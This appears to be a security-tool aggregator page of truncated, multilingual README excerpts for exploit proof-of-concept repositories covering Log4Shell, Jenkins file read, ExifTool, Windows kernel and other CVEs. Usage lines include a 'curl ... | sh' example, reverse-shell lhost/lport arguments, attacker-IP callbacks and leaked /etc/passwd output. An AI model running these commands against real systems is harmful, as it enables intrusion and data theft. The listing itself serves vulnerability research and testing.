ThinkAdmin-CVE-2020-25540

ThinkAdmin-CVE-2020-25540 ThinkAdmin CVE-2020-25540 の POC（概念実証） root@kitploit: Usage root@kitploit: $ python3 exploit.py -t -c...

POC-CVE-2021-22204

POC-CVE-2021-22204 https://nvd.nist.gov/vuln/detail/CVE-2021-22204 This is just a convenience script I wrote for testing. Output root@kitploit: Usage ./buildimage.pl Note: if your cmd contains unix special characters use quote! EG: ./buildimage.pl "curl xxxx.com/script.sh|sh" This poc generates a...

CVE-2024-56145-craftcms-rce

再次运行脚本前，请执行 fuser -k 6666/tcp 使用方法 - python3 poc.py -f targets.txt -i 127.0.0.1 -pr 4 -t 200 也可使用自定义命令，例如 python3 poc.py -f targets.txt -i 127.0.0.1 -c "whoami" -i 是你的 IP 或 VPS IP（通过 ipconfig / ifconfig 获取）。 例如 - python3 poc.py -f targets.txt -i 165.22.104.140 -pr 4 -t 200 手动利用，对你拥有的目标运行上述...

log4j-poc

log4j-poc 针对CVE-2021-44228 Log4Shell的LDAP RCE漏洞利用 描述 演示用的Tomcat 8服务器（端口8080）上部署了存在漏洞的应用程序（log4shell），并且该服务器也通过用户代理攻击方式存在漏洞。 本演示中的远程利用应用程序基于 https://github.com/kozmer/log4j-shell-poc 上的代码。 本演示用的Tomcat服务器（Tomcat 8.5.3，Java 1.8.0u51）已被重新配置为使用Log4J2进行日志记录——这是一种非标准配置。...

al-khaser

Al-Khaser v0.81 目次 はじめに 考えられる用途 機能 デバッグ防止攻撃 アンチダンプ タイミング攻撃 人間との対話 アンチVM アンチディスアセンブリ 必要条件 ライセンス はじめに al-khaser は、善意から作られた PoC の「マルウェア」アプリケーションであり、あなたのアンチマラウェアシステムをストレステストすることを目的としています。 一般的なマルウェアのトリックを多数実行し、検知されずにいられるかどうかを確認します。 使用方法 root@kitploit: $ ./al-khaser.exe -h Usage: al-khaser.exe OPTIONS...

CVE-2024-23897

Anant 的修改 修复了读取类似 /etc/os-release 等文件时内容被剥离的问题 新增对已认证会话的支持：可通过命令行参数提供用户名和密码 root@kitploit: usage: jenkinsfileread.py -h -u URL -a USERAGENT -f FILE -t TIMEOUT -s -o -p PROXY -v --username USERNAME --password PASSWORD POC for CVE-2024-23897 Jenkins file read options: -h, --help show this help...

kassandra_x33fcon_2026

kassandrax33fcon2026 本仓库包含在 x33fcon 2026 上展示的 PoC 工具，以及随附的演示幻灯片。这些内容仅供研究和教育目的使用。...

cve-2022-0185-crash-poc

运行 cve-2022-0185 崩溃 POC 的容器 这是一个 Docker 容器，运行 崩溃 POC，来源于 https://www.willsroot.io/2022/01/cve-2022-0185.html。 该容器以 UID 65534 的非特权身份运行。你也可以使用 docker run -u 或额外设置 RunAsUser 安全上下文，所有方式都会产生相同 的结果。 运行它 需要明确的是，如果你的系统存在漏洞，这将会使你的服务器崩溃！ Docker docker run docker.io/fish/cve-2022-0185-crash-poc 你也可以自行构建：...

CVE-2025-54110-Kernel-EoP-PoC

CVE-2025-54110-Kernel-EoP-PoC CVE-2025-54110 利用代码实现——Windows NtQueryDirectoryObject 系统调用中的内核级整数溢出漏洞。 CVE-2025-54110 - Windows 内核整数溢出分析 CVE: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-54110 本仓库包含针对 CVE-2025-54110 内核权限提升漏洞的仅崩溃 PoC ，专为安全研究、逆向工程和利用开发研究 而开发。该代码旨在演示漏洞研究技术，包括： 使用...

CVE-2019-10149

CVE-2019-10149 CVE-2019-10149 的测试 POC...

CVE-2020-0910

CVE-2020-0910 工作利用PoC CVE-2020-0910 - 反向绑定Shell 使用Python2.7测试 安装： pip install -r requirements.txt 运行： python CVE-2020-0910-POC.py 10.16.1.24 -lhost 10.1.1.1 -lport 4444...

Out-FINcodedCommand

Out-FINcodedCommand v1.0 はじめに Out-FINcodedCommand は、PowerShell v2.0 以降に対応した PowerShell POC スクリプトであり、FIN 脅威アクターが使用するいくつかの難読化手法を強調するために設計されています。このツールで重点的に扱う難読化手法は以下の通りです。 1. cmd.exe の変数文字/文字列置換機能 2. cmd.exe および powershell.exe の標準入力からのコマンド呼び出し機能 3. 「cmd」と「powershell」を難読化するための環境変数部分文字列機能 インストール...

CVE-2014-4076

CVE-2014-4076 PoC 该概念验证直接从其原始Python版本复制，并用C++重写。 构建 本项目使用Visual Studio 2013 Update 4构建。 注意 只有属于管理员组的用户才能打开设备并执行IO控制，这意味着该漏洞利用仅能将管理员提升为SYSTEM，在webshell环境中完全无效 。 特别感谢@KingsleyChen的帮助。...

CVE-2023-29007

CVE-2023-29007 CVE-2023-29007 的概念验证仓库 更多信息请访问： https://blog.ethiack.com/en/blog/git-arbitrary-configuration-injection-cve-2023-29007 https://github.blog/2023-04-25-git-security-vulnerabilities-announced-4/ https://github.com/git/git/security/advisories/GHSA-v48j-4xgg-4844...

POC

POC POC 报告...

CVE-2020-14750

CVE-2020-14750 针对 CVE-2020-14750 和 cve-2020-14882 漏洞的 PoC 测试系统是否易受攻击，使用： ./test-CVE-2020-14750 nombredelhost:7001 目前，在此版本中，仅能保证主机是否易受攻击；如果结果为阴性，并不能保证不易受攻击，将在后续版本中实现。 更新：能够根据响应区分主机是否易受攻击或测试失败。 要利用该漏洞，我们需要将第一个参数传递为主机，包括端口，格式为 "host:port"，后续参数为要执行的命令，例如 "ifconfig lo" 即： ./CVE-2020-14750...

POC-S

POC-S: POC-T Strengthen Version POC-T加強版 POC-Tのwikiドキュメントはdocディレクトリを参照 前書き: 現在 法的免責事項 事前の双方同意なしにPOC-Sを使用してターゲットを攻撃することは違法です。 POC-Sはセキュリティテスト目的のみで使用されます 特徴 POC-Tの構文と互換性あり 優れたpoc分類、柔軟なpoc読み込み方法、単一ファイル、バッチ、任意ディレクトリからの読み込みをサポート pocs/poc-sターミナルコマンドを提供し、フレームワークとpocを分離、カスタムpocを任意のディレクトリに配置可能...

CVE-2021-44228

Comprobador de CVE-2021-44228 Este es el repositorio para comprobar la vulnerabilidad CVE-2021-44228. Esto es una PoC que solo muestra cadenas sin ninguna carga de clase externa. No se puede utilizar para la ejecución arbitraria de código. ¿Cómo funciona? Paso 1: Ejecutar la aplicación del servid...

CVE-2021-41773-PoC

CVE-2021-41773-PoC CVE-2021-41773 的 PoC，使用 Docker 进行演示 运行 只需运行 ./poc.sh。请确保已安装可用的 docker 和 docker-compose root@kitploit: $ ./poc.sh Creating network "cve-2021-41773-pocdefault" with the default driver Creating cve-2021-41773-pocweb1 ... done root:x:0:0:root:/root:/bin/bash...

CVE-2026-23744

CVE-2026-23744 MCPJam inspector 远程代码执行：概念验证（POC）用法： root@kitploit: python3 cve-2026-23744.py --target https:// --att-ip --att-p...